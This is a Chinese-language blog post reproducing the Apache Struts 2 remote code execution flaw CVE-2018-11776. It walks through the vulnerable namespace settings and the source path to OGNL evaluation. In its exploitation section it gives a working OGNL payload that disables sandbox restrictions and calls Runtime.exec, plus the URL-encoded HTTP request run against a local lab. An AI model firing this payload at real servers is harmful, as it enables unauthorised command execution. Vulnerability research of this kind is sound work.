没学会的SSH = Struts2 + Spring + Hibernate

Apache Struts 2是一个基于MVC模式的Web应用框架,本质上相当于一个servlet。在MVC设计模式中,Struts 2作为控制器建立模型和视图的数据交互。

0x00 漏洞概述

Apache Struts 2远程代码执行漏洞复现_Struts 2

编号为CVE-2018-11776

官方对该漏洞的描述为:

  1. 定义XML配置时,如果namespace值未设置,且上层动作配置(Action Configuration)中未设置或使用通配符namespace时可能导致远程代码执行。
  2. url标签未设置valueaction值,且上层动作配置(Action Configuration)中未设置或使用通配符namespace时可能导致远程代码执行。
  3. alwaysSelectFullNamespace需要被设为true,才能利用漏洞。

namespace用于在逻辑上将action区分为不同模块,这可以有效避免action重名的情况。默认的namespace为空,当所有的namespace中都找不到结果时,就会到此处的namespace寻找。

受影响版本:Struts 2.0.4-2.3.34、Struts 2.5.0-2.5.16,其它不受支持的Struts版本也可能受影响。

0x01 漏洞源码

用如下几步找到心仪的版本:

git clone https://github.com/apache/Struts.git
cd Struts
git checkout STRUTS_2_5_10

切换成功会得到相应提示。

取出apps/showcase整个文件夹,作为新建项目(个人选择使用了IntelliJ IDEA):

Apache Struts 2远程代码执行漏洞复现_apache_02

配置文件

showcase/src/main/resources/struts.xml中,如果没有为基础xml配置中定义的result设置namespace,且上层的<action>标签没有设置namespace或者使用通配符namespace,就可能导致RCE。

各个result类型中,只有三种:

  • redirectAction
  • chain
  • postback

下面具有namespace参数。

示例:

<struts>

  <package name="skill" extends="default" namespace=???><!--这里没写namespace-->

    <action name="foo">

      <result type="redirectAction">

        <param name="actionName">foo.action</param>

      </result>

    </action>

  </package>

</struts>

URL标签

除却上述情况,如果struts的url标签<s:url>未设置valueaction,且关联的<action>标签未设置或使用通配符namepace,也可能导致RCE。

src/main/webapp/WEB-INF/empmanager/listEmployees.jsp中可以看到url配置。

示例:

 <s:url action="/hello/hello_struts2" var="hello" >

       <s:param name="messageStore.message">Struts2 Tags</s:param>

 </s:url>

 <a href="${hello}">你好Struts2 Tag</a>

ActionMapper(接口)

查看这个.class时使用了JetBrains内嵌的反编译工具。

struts 2使用org.apache.struts2.dispatcher.FilterDispatcher作为核心控制,负责拦截所有请求。此后FilterDispatcher调用ActionMapper接口来判断需要调用哪个Action。

struts 2默认使用DefaultActionMapper这个实现类中的getMapping方法解析请求以判断需要调用哪个Action。

Apache Struts 2远程代码执行漏洞复现_apache_03

此处向下是几个在类内使用的方法,如parseNameAndNamespace。

Apache Struts 2远程代码执行漏洞复现_apache_04

图中this.alwaysSelectFullNamespacetrue时,会严格按照uri提供的namespace寻找action,此时就可以任意构造namespace

不幸的是this.alwaysSelectFullNamespace的缺省值为false,所以利用条件还是相当苛刻的。

Apache Struts 2远程代码执行漏洞复现_RCE_05

先假设一个URI,URL形式是:

[靶机IP+端口]/项目名称/path_0/path_1/addUser.action 

执行步骤是:

  1. 寻找namespace/path_0/path_1的package。若找到了package,在其中寻找名为addUseraction,若找到则正常执行,若没有找到则转步骤4;另外,若没有找到package,则转步骤2。
  2. 寻找namespace/path_0的package,若存在则在这个package中寻找addUser,若找到则执行,否则转步骤4;若没有找到这个package则转步骤3。
  3. 寻找namespace/的package,若存在这个package则在其中寻找addUser,若找到则执行,否则转步骤4;若没有找到则也转到步骤4。
  4. 若存在缺省的命名空间namespace,则在这个package下寻找addUser,若找到则执行;若没有找到则页面提示找不到action;不存在缺省的命名空间也会提示找不到action

前文提到的利用条件

如果namespace值未设置,且上层动作配置(Action Configuration)中未设置或使用通配符namespace时可能导致远程代码执行。

在这里得到了解释。

这种情况下,构造任意命名空间请求不会出错。

redirectAction(返回类型)

接收Payload的条件已经达成了,还需要执行Payload的条件。之前提到,涉及命名空间namespaceresult只有三种,以redirectAction为例看看源码(另外两种也有问题)。

redirectAction对应的类为org.apache.struts2.result.ServletActionRedirectResult

在所请求的Action执行完后,会使用ServletActionRedirectResult.execute进行重定向Result的解析,通过actionMapper.getUriFromActionMapping重组URI,通过setLocation将带有namespace的tmpLocation放入父类org.apache.struts2.result.ServletRedirectResult中调用execute方法,然后在父类ServletRedirectResult中又会调用其父类org.apache.struts2.result.StrutsResultSupport的execute方法。

Apache Struts 2远程代码执行漏洞复现_RCE_06

Apache Struts 2远程代码执行漏洞复现_Java_07

Apache Struts 2远程代码执行漏洞复现_Java_08

最后是在StrutsResultSupport中的conditionalParse中,调用TextParseUtil.translateVariables,并最终通过OgnlTextParser.evaluate解析执行URL中的OGNL表达式。

// .m2\repository\org\apache\struts\struts2-core\2.5.10\struts2-core-2.5.10.jar!\org\apache\struts2\result\StrutsResultSupport.class
protected String conditionalParse(String param, ActionInvocation invocation) {
        return this.parse && param != null && invocation != null ? TextParseUtil.translateVariables(param, invocation.getStack(), new StrutsResultSupport.EncodingParsedValueEvaluator()) : param;
    }
// .m2\repository\org\apache\struts\struts2-core\2.5.10\struts2-core-2.5.10.jar!\com\opensymphony\xwork2\util\TextParseUtil.class
public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
        TextParseUtil.ParsedValueEvaluator ognlEval = new TextParseUtil.ParsedValueEvaluator() {
            public Object evaluate(String parsedValue) {
                Object o = stack.findValue(parsedValue, asType);
                if (evaluator != null && o != null) {
                    o = evaluator.evaluate(o.toString());
                }

                return o;
            }
        };
        TextParser parser = (TextParser)((Container)stack.getContext().get("com.opensymphony.xwork2.ActionContext.container")).getInstance(TextParser.class);
        return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
    }

0x02 利用流程

访问靶机

可见测试界面。

Apache Struts 2远程代码执行漏洞复现_Java_09

先行测试

测试命名空间可执行性,发现运算被执行了:

Apache Struts 2远程代码执行漏洞复现_apache_10

GET /struts2-showcase/$%7B123*321%7D/actionChain1.action HTTP/1.1
Host: 127.0.0.1:14817
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; JSESSIONID=49C735076502124458949395EE5C2007
Connection: close

传Payload

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('填写命令')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}

由于系统的解析特性,传入时必须全部进行URL编码(填写的命令若含有空格,也需要转义为%0a)。

Apache Struts 2远程代码执行漏洞复现_apache_11

GET /struts2-showcase/$%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('ls%0a/tmp')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1
Host: 127.0.0.1:14817
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; JSESSIONID=49C735076502124458949395EE5C2007
Connection: close

利用成功!

0x03 废话

虽然利用成功造成的影响非常恶劣,但利用条件也是比较苛刻的。

另推荐大佬的EXP:Ivan1ee/struts2-057-exp: s2-057 最新漏洞分析和EXP脚本 (github.com)